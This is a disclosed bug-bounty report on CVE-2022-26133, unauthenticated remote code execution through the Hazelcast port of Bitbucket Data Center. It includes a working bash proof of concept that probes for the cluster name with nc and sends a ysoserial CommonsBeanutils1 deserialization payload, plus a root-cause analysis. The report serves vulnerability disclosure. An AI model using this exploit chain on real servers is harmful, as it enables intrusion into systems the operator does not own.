RCE in Bitbucket DataCenter via HazelCastPort

Disclosed by
SnowyOwl
  • Program Atlassian
  • Disclosed date about 2 years ago
  • Points 40
  • Priority P1 Bugcrowd's VRT priority rating
  • Status Resolved This vulnerability has been accepted and fixed
Summary by Atlassian

Fixes for CVE-2022-26133 are available for Bitbucket Data Center. For more information, refer to Atlassian's security advisory at https://confluence.atlassian.com/security/multiple-products-security-advisory-hazelcast-vulnerable-to-remote-code-execution-cve-2016-10750-1116292387.html

Summary by SnowyOwl

Introduction

Hazelcast Port of the Bitbucket Data Center is vulnerable to Java deserialization attacks [1] - CVE-2022-26133; a variant of CVE-2016-10750 [2] that is specific to Bitbucket. Bitbucket Data Center makes use of Hazelcast for in-memory data caching and by default port 5701 is used for Hazelcast. A remote, unauthenticated attacker can exploit this vulnerability by sending a crafted packet to the Hazelcast port and achieve Remote Code Execution. (RCE)

Packet Structure


--------------------------------------------------------------------------------------------
|                      |                   |                     |                         |
| size of group name   | group name of     | 0xFF 0xFF 0xFF 0x9C | serialized paylod       |
|       (4 bytes)      | Bitbucket cluster |                     | (e.g CommonsBeanutils1) |
--------------------------------------------------------------------------------------------

POC


#!/usr/bin/env bash

BITBUCKET_IP=${1:-'127.0.0.1'}
BITBUCKET_HAZELCAST_PORT=${2:-'3050'}
YSOSERIAL_JAR=${3:-'/home/dare/workspace/tools/ysoserial/ysoserial-master-SNAPSHOT.jar'}

# wget https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar

# send a dummy probe packet to retrive the cluster name
# e.g the below sets the length as 2 bytes and sends a dummy 2 bytes
printf "\x00\x00\x00\x02\x73\x61" | nc -nv "$BITBUCKET_IP"  "$BITBUCKET_HAZELCAST_PORT" > cluster-name.bin

# generate the serialized payload using ysoserial with the CommonsBeanutils1 gadget.
java -jar "$YSOSERIAL_JAR" CommonsBeanutils1 xcalc > CommonsBeanutils1.bin

# append header packets to the serialized payload, this is required for the hazelcast to correctly deserialize the payload
# create the final payload by joining the cluster name and the serialized payload with the header.
printf "\xFF\xFF\xFF\x9C" | cat cluster-name.bin - CommonsBeanutils1.bin > payload.bin

# send the payload to the bitbucket cluster
nc -nv "$BITBUCKET_IP"  "$BITBUCKET_HAZELCAST_PORT" < payload.bin

Analysis

Bitbucket implements a custom network authentication protocol for the Hazelcast port inside com.atlassian.stash.internal.cluster.SharedSecretClusterAuthenticator. The hazelcast join sequence is intercepted by the ClusterJoinSocketInterceptor that implements com.hazelcast.nio.MemberSocketInterceptor. Further inside the call chain the com.atlassian.stash.internal.cluster.SharedSecretClusterAuthenticator::runMutualChallengeResponse method is invoked which in-turn invokes the readObject method that performs insecure deserialization.

![runMutualChallengeResponse](./analysis/root-cause/runMutualChallengeResponse.png)

To reach this execution path the GroupName (cluster name) of the Bitbucket node is required. This can be queried by the sending a basic probe to the HazelCast port. The probe is a small TCP packet with the below structure.

------------------------------------------------
|                          |                   |
| Size of following field  |    random bytes   |
|      (4 bytes )          |    (size bytes)   |
------------------------------------------------

Bitbucket server responds with the groupname of the cluster prepended with the length (in bytes) of the group name. This response packet can then be used directly in crafting the payload.


# send a dummy probe packet to retrive the cluster name
# e.g the below sets the length as 2 bytes and sends  2 bytes (don't care - dummy bytes)
printf "\x00\x00\x00\x02\x73\x61" | nc -nv "$BITBUCKET_IP"  "$BITBUCKET_HAZELCAST_PORT"

![verifyGroupName](./analysis/root-cause/verifyGroupName.png)

A rough Sequence Diagram that captures the call chain leading to this issue is depicted below.

![sequence-diagram](./analysis/root-cause/BitBucketDeserializationCallChain.png)

![hazelcast-rce](./POC/bitbucket-hazelcast-rce-poc.png)

Probe Packet to Query Cluster Name

![wireshark-query-bitbucket-cluster-name](./analysis/root-cause/wireshark-query-bitbucket-cluster-name.png)

Response Packet from Bitbucket

![wireshark-bitbucket-response-cluster-name](./analysis/root-cause/wireshark-bitbucket-response-cluster-name.png)

Payload to trigger RCE

![wireshark-bitbucket-payload](./analysis/root-cause/wireshark-bitbucket-payload.png)

The full wire-shark capture may be downloaded from [here](./analysis/root-cause/HazelcastJoinSequence.puml)

References

  1. Multiple Products Security Advisory - Hazelcast Vulnerable To Remote Code Execution - CVE-2016-10750
  2. Hazelcast issue #8024
  3. CVE-2016-10750

Please note all the images has been attached to the post submitted on 31 Mar 2022 19:40:32 IST.

Activity